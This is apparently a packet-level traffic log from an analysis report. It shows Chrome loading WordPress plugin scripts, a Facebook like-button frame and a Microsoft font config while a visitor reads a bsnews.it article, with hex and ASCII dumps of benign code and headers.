65 6c 65 61 Data Ascii: ttonClick),this.button.addEventListener("keydown",this.buttonKeydown),document.addEventListener("click",this.documentClick),void 0===document.ontouchstart&&(this.button.addEventListener("mouseenter",this.buttonEnter),this.button.addEventListener("mouselea
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 22 73 68 61 72 65 2d 63 6f 75 6e 74 22 2c 69 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 63 2e 66 6f 72 6d 61 74 5f 63 6f 75 6e 74 28 74 29 2c 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 29 7d 29 29 7d 2c 66 6f 72 6d 61 74 5f 63 6f 75 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 3c 31 65 33 3f 65 3a 65 3e 3d 31 65 33 26 26 65 3c 31 65 34 3f 53 74 72 69 6e 67 28 65 29 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 31 29 2b 22 4b 2b 22 3a 22 31 30 4b 2b 22 7d 2c 62 75 6d 70 5f 73 68 61 72 69 6e 67 5f 63 6f 75 6e 74 5f 73 74 61 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 28 6e 65 77 20 49 6d 61 67 65 29 2e 73 72 63 3d 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 2b 22 2f 2f 70 69 78 65 6c 2e 77 70 2e 63 6f 6d 2f 67 Data Ascii: "share-count",i.textContent=c.format_count(t),e.appendChild(i)}))},format_count:function(e){return e<1e3?e:e>=1e3&&e<1e4?String(e).substring(0,1)+"K+":"10K+"},bump_sharing_count_stat:function(e){(new Image).src=document.location.protocol+"//pixel.wp.com/g
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 29 26 26 28 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 68 61 72 69 6e 67 2d 65 76 65 6e 74 73 2d 61 64 64 65 64 22 2c 22 74 72 75 65 22 29 2c 69 28 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 2e 73 68 61 72 65 2d 70 72 69 6e 74 22 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 6c 69 63 6b 22 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 3b 76 61 72 20 6e 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 68 72 65 66 22 29 7c 7c 22 22 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 2d 31 3d 3d 3d 6e 2e 69 6e 64 65 78 4f 66 28 22 23 70 72 69 6e Data Ascii: )&&(e.setAttribute("data-sharing-events-added","true"),i(e.querySelectorAll("a.share-print"),(function(e){e.addEventListener("click",(function(t){t.preventDefault(),t.stopPropagation();var n=e.getAttribute("href")\|\|"",i=function(){if(-1===n.indexOf("#prin
2024-03-28 08:51:02 UTC	1112	IN	Data Raw: 28 74 2c 30 29 3b 76 61 72 20 6e 2c 6f 2c 72 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 65 6d 61 69 6c 2d 73 68 61 72 65 2d 6e 6f 6e 63 65 22 29 2c 73 3d 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 65 6d 61 69 6c 2d 73 68 61 72 65 2d 74 72 61 63 6b 2d 75 72 6c 22 29 3b 72 26 26 73 26 26 28 6e 3d 73 2c 6f 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 2b 22 2f 2f 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2b 22 2f 22 2c 30 3d 3d 3d 53 74 72 69 6e 67 28 6e 29 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 6c 69 63 6b 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3b 75 28 6e 3d 74 2c 64 Data Ascii: (t,0);var n,o,r=t.getAttribute("data-email-share-nonce"),s=t.getAttribute("data-email-share-track-url");r&&s&&(n=s,o=window.location.protocol+"//"+window.location.hostname+"/",0===String(n).indexOf(o))&&t.addEventListener("click",(function(){var n;u(n=t,d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49782	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:02 UTC	705	OUT	GET /wp-content/plugins/jetpack/jetpack_vendor/automattic/jetpack-image-cdn/dist/image-cdn.js?minify=false&ver=132249e245926ae3e188 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:02 UTC	724	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:02 GMT Content-Type: application/javascript Content-Length: 701 Connection: close Cf-Bgj: minify etag: "65fe4369-2bd" last-modified: Sat, 23 Mar 2024 02:50:17 GMT x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 4447 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MklCP6pLvyXrZinVLyEsSFKRKTnEGfkRHgt6Du2PJ8Wu%2BFhgN%2F7ZHluL57y%2BJJHjbdZGx7700HcSs372GmTGxzEvSpMmLoXI7WXhz4C1z0VUt83OKcrnfMSEDZs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b660446e0213c3-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:02 UTC	645	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 69 66 28 74 68 69 73 2e 63 6f 6d 70 6c 65 74 65 29 7b 63 6f 6e 73 74 20 65 3d 74 68 69 73 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6c 61 7a 79 2d 73 72 63 22 29 3b 69 66 28 65 26 26 74 68 69 73 2e 73 72 63 21 3d 3d 65 29 72 65 74 75 72 6e 20 76 6f 69 64 20 74 68 69 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6f 6e 6c 6f 61 64 22 2c 74 29 3b 63 6f 6e 73 74 20 6e 3d 74 68 69 73 2e 77 69 64 74 68 2c 64 3d 74 68 69 73 2e 68 65 69 67 68 74 3b 6e 26 26 6e 3e 30 26 26 64 26 26 64 3e 30 26 26 28 74 68 69 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 77 69 64 74 68 22 2c 6e 29 2c 74 68 69 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 68 65 69 67 68 74 Data Ascii: !function(){function t(){if(this.complete){const e=this.getAttribute("data-lazy-src");if(e&&this.src!==e)return void this.addEventListener("onload",t);const n=this.width,d=this.height;n&&n>0&&d&&d>0&&(this.setAttribute("width",n),this.setAttribute("height
2024-03-28 08:51:02 UTC	56	IN	Data Raw: 28 29 29 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 69 73 2e 70 6f 73 74 2d 6c 6f 61 64 22 2c 65 29 7d 28 29 3b Data Ascii: ()),document.body.addEventListener("is.post-load",e)}();

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49783	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:02 UTC	629	OUT	GET /wp-content/plugins/wp-polls/polls-js.js?ver=2.77.2 HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:02 UTC	709	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:02 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cf-Bgj: minify etag: W/"64d44371-caa" last-modified: Thu, 10 Aug 2023 01:54:57 GMT x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 3732 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KQs0ot5iZRMChXDk7kEX8BmHDYK91bYidJzYEhZnWgR7tGGvxn7WQPFmIX5%2Fi8wjBOUVGJpdM2fy%2FP0OO1F4XwVuJsf2m6zHFIfm5MKXJkGoG4Dw0AW1EOeXypM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b660447d7f1ff7-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:02 UTC	660	IN	Data Raw: 63 61 61 0d 0a 66 75 6e 63 74 69 6f 6e 20 70 6f 6c 6c 5f 76 6f 74 65 28 6c 29 7b 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 70 6f 6c 6c 5f 61 6e 73 77 65 72 5f 69 64 3d 22 22 2c 70 6f 6c 6c 5f 6d 75 6c 74 69 70 6c 65 5f 61 6e 73 3d 30 2c 70 6f 6c 6c 5f 6d 75 6c 74 69 70 6c 65 5f 61 6e 73 5f 63 6f 75 6e 74 3d 30 2c 6f 28 22 23 70 6f 6c 6c 5f 6d 75 6c 74 69 70 6c 65 5f 61 6e 73 5f 22 2b 6c 29 2e 6c 65 6e 67 74 68 26 26 28 70 6f 6c 6c 5f 6d 75 6c 74 69 70 6c 65 5f 61 6e 73 3d 70 61 72 73 65 49 6e 74 28 6f 28 22 23 70 6f 6c 6c 5f 6d 75 6c 74 69 70 6c 65 5f 61 6e 73 5f 22 2b 6c 29 2e 76 61 6c 28 29 29 29 2c 6f 28 22 23 70 6f 6c 6c 73 5f 66 6f 72 6d 5f 22 2b 6c 2b 22 20 69 6e 70 75 74 3a 63 68 65 63 Data Ascii: caafunction poll_vote(l){jQuery(document).ready(function(o){poll_answer_id="",poll_multiple_ans=0,poll_multiple_ans_count=0,o("#poll_multiple_ans_"+l).length&&(poll_multiple_ans=parseInt(o("#poll_multiple_ans_"+l).val())),o("#polls_form_"+l+" input:chec
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 6f 6c 6c 5f 61 6e 73 77 65 72 5f 69 64 2e 6c 65 6e 67 74 68 2d 31 29 2c 70 6f 6c 6c 5f 70 72 6f 63 65 73 73 28 6c 2c 70 6f 6c 6c 5f 61 6e 73 77 65 72 5f 69 64 29 29 3a 30 3d 3d 70 6f 6c 6c 5f 6d 75 6c 74 69 70 6c 65 5f 61 6e 73 5f 63 6f 75 6e 74 3f 61 6c 65 72 74 28 70 6f 6c 6c 73 4c 31 30 6e 2e 74 65 78 74 5f 76 61 6c 69 64 29 3a 61 6c 65 72 74 28 70 6f 6c 6c 73 4c 31 30 6e 2e 74 65 78 74 5f 6d 75 6c 74 69 70 6c 65 2b 22 20 22 2b 70 6f 6c 6c 5f 6d 75 6c 74 69 70 6c 65 5f 61 6e 73 29 3a 70 6f 6c 6c 5f 61 6e 73 77 65 72 5f 69 64 3e 30 3f 70 6f 6c 6c 5f 70 72 6f 63 65 73 73 28 6c 2c 70 6f 6c 6c 5f 61 6e 73 77 65 72 5f 69 64 29 3a 61 6c 65 72 74 28 70 6f 6c 6c 73 4c 31 30 6e 2e 74 65 78 74 5f 76 61 6c 69 64 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 70 6f 6c 6c Data Ascii: oll_answer_id.length-1),poll_process(l,poll_answer_id)):0==poll_multiple_ans_count?alert(pollsL10n.text_valid):alert(pollsL10n.text_multiple+" "+poll_multiple_ans):poll_answer_id>0?poll_process(l,poll_answer_id):alert(pollsL10n.text_valid)})}function poll
2024-03-28 08:51:02 UTC	1220	IN	Data Raw: 70 6f 6c 6c 73 2d 22 2b 6c 2b 22 2d 6c 6f 61 64 69 6e 67 22 29 2e 73 68 6f 77 28 29 2c 6f 2e 61 6a 61 78 28 7b 74 79 70 65 3a 22 50 4f 53 54 22 2c 78 68 72 46 69 65 6c 64 73 3a 7b 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 3a 21 30 7d 2c 75 72 6c 3a 70 6f 6c 6c 73 4c 31 30 6e 2e 61 6a 61 78 5f 75 72 6c 2c 64 61 74 61 3a 22 61 63 74 69 6f 6e 3d 70 6f 6c 6c 73 26 76 69 65 77 3d 72 65 73 75 6c 74 26 70 6f 6c 6c 5f 69 64 3d 22 2b 6c 2b 22 26 70 6f 6c 6c 5f 22 2b 6c 2b 22 5f 6e 6f 6e 63 65 3d 22 2b 70 6f 6c 6c 5f 6e 6f 6e 63 65 2c 63 61 63 68 65 3a 21 31 2c 73 75 63 63 65 73 73 3a 70 6f 6c 6c 5f 70 72 6f 63 65 73 73 5f 73 75 63 63 65 73 73 28 6c 29 7d 29 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 70 6f 6c 6c 5f 62 6f 6f 74 68 28 6c 29 7b 6a 51 75 65 72 79 28 64 Data Ascii: polls-"+l+"-loading").show(),o.ajax({type:"POST",xhrFields:{withCredentials:!0},url:pollsL10n.ajax_url,data:"action=polls&view=result&poll_id="+l+"&poll_"+l+"_nonce="+poll_nonce,cache:!1,success:poll_process_success(l)}))})}function poll_booth(l){jQuery(d
2024-03-28 08:51:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49777	23.210.240.112	443

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:02 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-03-28 08:51:02 UTC	531	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0rcGnYgAAAAANOnx9vccHTr21ROgX9ESTU0pDRURHRTAzMDkAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=252766 Date: Thu, 28 Mar 2024 08:51:02 GMT Content-Length: 55 Connection: close X-CID: 2
2024-03-28 08:51:02 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49776	157.240.229.35	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:02 UTC	875	OUT	GET /plugins/like.php?href=https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/&layout=button_count&show_faces=false&width=105&action=like&colorscheme=light&height=21 HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:02 UTC	923	IN	HTTP/1.1 200 OK Vary: Accept-Encoding reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-03-28 08:51:02 UTC	1726	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 2a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net .google.com 127.0.0.1: 'unsafe-inline' blob: data: 'self' connect.f
2024-03-28 08:51:02 UTC	1500	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 6d 62 69 65 6e 74 2d 6c 69 67 68 74 2d 73 65 6e 73 6f 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 74 65 3d 28 73 65 6c 66 29 2c 20 64 69 Data Ascii: permissions-policy: accelerometer=(), ambient-light-sensor=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-write=(self), di
2024-03-28 08:51:02 UTC	351	IN	Data Raw: 35 34 63 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 73 76 67 20 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 6f 72 69 67 69 6e 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 6f 67 70 63 39 4a 35 6f 22 3e 5f 5f 44 45 56 5f 5f 3d 30 3b 3c 2f 73 63 72 69 70 74 3e 3c 74 69 74 6c 65 3e 46 61 63 65 62 6f 6f 6b 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 Data Ascii: 54c5<!DOCTYPE html><html lang="en" id="facebook" class="no_svg no_js"><head><meta charset="utf-8" /><meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" /><script nonce="ogpc9J5o">__DEV__=0;</script><title>Facebook</title><style
2024-03-28 08:51:02 UTC	1500	IN	Data Raw: 2d 31 30 70 78 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 5f 35 74 69 5f 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 76 65 72 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 5f 35 74 6a 32 7b 68 65 69 67 68 74 3a 39 30 30 70 78 7d 2e 5f 32 6d 6d 33 20 2e 5f 35 61 38 75 20 2e 75 69 42 6f 78 47 72 61 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 7d 62 6f 64 79 2e 70 6c 75 67 69 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 38 3b 6f 76 65 72 66 6c 6f 77 3a 68 Data Ascii: -10px;width:100%}._5ti_{background-size:cover;height:100%;width:100%}._5tj2{height:900px}._2mm3 ._5a8u .uiBoxGray{background:#fff;margin:0;padding:12px}body.plugin{background:transparent;font-family:Helvetica, Arial, sans-serif;line-height:1.28;overflow:h
2024-03-28 08:51:02 UTC	1500	IN	Data Raw: 74 7d 23 66 61 63 65 62 6f 6f 6b 20 2e 69 6e 76 69 73 69 62 6c 65 5f 65 6c 65 6d 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 23 66 61 63 65 62 6f 6f 6b 20 2e 61 63 63 65 73 73 69 62 6c 65 5f 65 6c 65 6d 7b 63 6c 69 70 3a 72 65 63 74 28 31 70 78 2c 20 31 70 78 2c 20 31 70 78 2c 20 31 70 78 29 3b 68 65 69 67 68 74 3a 31 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 77 69 64 74 68 3a 31 70 78 7d 23 66 61 63 65 62 6f 6f 6b 20 2e 61 63 63 65 73 73 69 62 6c 65 5f 65 6c 65 6d 5f 6f 66 66 73 65 74 7b 6d 61 72 67 69 6e 3a 2d 31 70 78 7d 2e 64 69 72 65 63 74 69 6f 6e 5f 6c 74 72 7b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 7d 2e 64 69 Data Ascii: t}#facebook .invisible_elem{visibility:hidden}#facebook .accessible_elem{clip:rect(1px, 1px, 1px, 1px);height:1px;overflow:hidden;position:absolute;white-space:nowrap;width:1px}#facebook .accessible_elem_offset{margin:-1px}.direction_ltr{direction:ltr}.di
2024-03-28 08:51:02 UTC	1500	IN	Data Raw: 73 3a 34 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 68 65 69 67 68 74 3a 32 38 70 78 3b 70 61 64 64 69 6e 67 3a 30 20 38 70 78 7d 2e 5f 32 74 67 61 2e 5f 35 6e 36 66 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 30 7d 2e 5f 32 74 67 61 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 33 36 35 38 39 39 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 33 36 35 38 39 39 7d 2e 5f 38 39 6e 5f 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 31 38 37 37 66 32 3b 62 6f 72 64 65 72 3a 30 7d 2e 5f 32 74 67 61 3a 61 63 74 69 76 65 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 35 37 37 66 62 63 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f Data Ascii: s:4px;font-size:13px;height:28px;padding:0 8px}._2tga._5n6f{border-top-left-radius:0;border-top-right-radius:0}._2tga:hover{background:#365899;border:1px solid #365899}._89n_:hover{background:#1877f2;border:0}._2tga:active{background:#577fbc;border:1px so
2024-03-28 08:51:02 UTC	1500	IN	Data Raw: 31 39 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 7d 2e 5f 38 39 6e 5f 2e 5f 33 65 32 61 20 2e 5f 34 39 76 67 2e 5f 38 61 31 39 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 70 78 7d 2e 5f 32 74 67 61 20 2e 5f 35 6e 32 79 2c 2e 5f 32 74 67 61 2e 61 63 74 69 76 65 20 2e 5f 34 39 76 67 2c 2e 5f 32 74 67 61 2e 61 63 74 69 76 65 2e 69 73 5f 61 6e 69 6d 61 74 69 6e 67 20 2e 5f 35 6e 32 79 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 5f 32 74 67 61 20 2e 5f 34 39 76 67 2c 2e 5f 32 74 67 61 2e 61 63 74 69 76 65 20 2e 5f 35 6e 32 79 2c 2e 5f 32 74 67 61 2e 61 63 74 69 76 65 3a 68 6f 76 65 72 20 2e 5f 34 6b 61 67 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 7a 6f 6f 6d 3a 31 7d 23 66 61 63 65 62 6f 6f 6b 20 2e 5f 32 74 67 61 20 73 70 61 6e 2e Data Ascii: 19{padding-top:2px}._89n_._3e2a ._49vg._8a19{padding-top:1px}._2tga ._5n2y,._2tga.active ._49vg,._2tga.active.is_animating ._5n2y{display:none}._2tga ._49vg,._2tga.active ._5n2y,._2tga.active:hover ._4kag{display:inline-block;zoom:1}#facebook ._2tga span.
